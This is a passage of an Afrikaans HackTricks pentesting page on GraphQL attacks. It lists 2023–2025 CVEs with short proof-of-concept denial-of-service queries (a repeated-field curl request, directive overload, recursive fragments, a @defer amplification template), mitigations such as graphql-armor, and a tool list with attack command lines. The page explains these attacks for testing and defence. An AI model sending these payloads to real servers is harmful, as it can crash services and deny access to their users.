\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Onlangse kwesbaarhede (2023-2025)
Die GraphQL-ekosisteem ontwikkel baie vinnig; gedurende die laaste twee jaar is verskeie kritiese probleme in die mees gebruikte serverbiblioteke openbaar gemaak. Wanneer jy ’n GraphQL-endpoint vind, is dit daarom die moeite werd om die engine te fingerprint (sien graphw00f) en die loopende weergawe teen die onderstaande kwesbaarhede te kontroleer.
CVE-2024-47614 – async-graphql directive-overload DoS (Rust)
- Geaffekteer: async-graphql < 7.0.10 (Rust)
- Oorsaak: geen limiet op gedupliseerde directives (bv. duisende
@include) wat uitgebrei word na ’n eksponensiële aantal uitvoering-nodes. - Impak: ’n enkele HTTP-versoek kan CPU/RAM uitput en die diens laat crash.
- Oplossing/mitigasie: opgradeer na ≥ 7.0.10 of roep
SchemaBuilder.limit_directives(); alternatiewelik filter versoeke met ’n WAF-reël soos"@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF diepte/kompleksiteit bypass
- Geaffekteer: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- Hoof oorsaak: ExecutableNormalizedFields is nie deur die
MaxQueryDepth/MaxQueryComplexityinstrumentasie in ag geneem nie. Recursiewe fragmente het dus alle perke omseil. - Impak: DoS sonder verifikasie teen Java-stakke wat graphql-java inkorporeer (Spring Boot, Netflix DGS, Atlassian-produkte…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- Geaffekteer: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- Worteloorsaak: die
createMediaItemmutation het deur die aanvaller beheerdefilePathURLs aanvaar, wat interne netwerktoegang en lêerskryf toegelaat het. - Impak: geverifieerde Editors/Authors kon metadata-endpunte bereik of PHP-lêers skryf vir remote code execution.
Misbruik van incremental delivery: @defer / @stream
Sedert 2023 het die meeste groot servers (Apollo 4, GraphQL-Java 20+, HotChocolate 13) die incremental delivery direktiewe wat deur die GraphQL-over-HTTP WG gedefinieer is, geïmplementeer. Elke deferred patch word as ’n afsonderlike chunk gestuur, sodat die totale responsgrootte N + 1 word (envelope + patches). ’n Query wat duisende klein deferred velde bevat, genereer dus ’n groot respons terwyl dit die aanvaller slegs een versoek kos — ’n klassieke amplification DoS en ’n manier om body-size WAF-reëls te omseil wat slegs die eerste chunk inspekteer. WG-lede self het die risiko aangeteken.
Example payload generating 2 000 patches:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Mitigasie: deaktiveer @defer/@stream in produksie of afdwing max_patches, kumulatiewe max_bytes en uitvoeringstyd. Biblioteke soos graphql-armor (sien hieronder) dwing reeds sinvolle verstekwaardes af.
Verdedigende middleware (2024+)
| Projek | Notas |
|---|---|
| graphql-armor | Node/TypeScript validasie-middleware gepubliseer deur Escape Tech. Implementeer plug-and-play grense vir navraagdiepte, alias/veld/directive-tellings, tokens en koste; versoenbaar met Apollo Server, GraphQL Yoga/Envelop, Helix, ens. |
Vinnige begin:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor sal nou oor-diep, komplekse of direksie-gewigtige queries blokkeer en sodoende beskerming bied teen die bogenoemde CVEs.
Gereedskap
Kwetsbaarheidsskandeerders
- https://github.com/dolevf/graphql-cop: Toets algemene miskonfigurasies van GraphQL endpoints
- https://github.com/assetnote/batchql: GraphQL security auditing script met fokus op die uitvoer van batch GraphQL queries en mutations.
- https://github.com/dolevf/graphw00f: Identifiseer watter GraphQL-implementering gebruik word
- https://github.com/gsmith257-cyber/GraphCrawler: Toolkit wat gebruik kan word om schemas te kry en na sensitiewe data te soek, autorisasie te toets, schemas te brute-forse, en paaie na ’n gegewe tipe te vind.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Kan as standalone gebruik word of as Burp extension.
- https://github.com/swisskyrepo/GraphQLmap: Kan ook as ’n CLI client gebruik word om attacks te outomatiseer:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: Instrument wat die verskillende maniere lys om ’n gegewe tipe in ’n GraphQL schema te bereik.
- https://github.com/doyensec/GQLSpection: Die opvolger van Standalone en CLI modes van InQL
- https://github.com/doyensec/inql: Burp extension of python skrip vir gevorderde GraphQL toetsing. Die Scanner is die kern van InQL v5.0, waar jy ’n GraphQL endpoint of ’n lokale introspeksie schema-lêer kan ontleed. Dit genereer outomaties alle moontlike queries en mutations en organiseer hulle in ’n gestruktureerde aansig vir jou analise. Die Attacker-komponent laat jou batch GraphQL attacks hardloop, wat handig kan wees om swak geïmplementeerde rate limits te omseil:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: Probeer om die schema te kry selfs met introspeksie gedeaktiveer deur die hulp van sekere GraphQL databronne wat name van mutations en parameters kan voorstel.
Skripte om algemene kwetsbaarhede te exploiteer
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Versameling skripte vir die uitbuiting van denial-of-service kwetsbaarhede in kwesbare GraphQL omgewings.
Kliënte
- https://github.com/graphql/graphiql: GUI client
- https://altair.sirmuel.design/: GUI Client
Outomatiese Toetse
https://graphql-dashboard.herokuapp.com/
- Video wat AutoGraphQL verduidelik: https://www.youtube.com/watch?v=JJmufWfVvyU
Verwysings
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

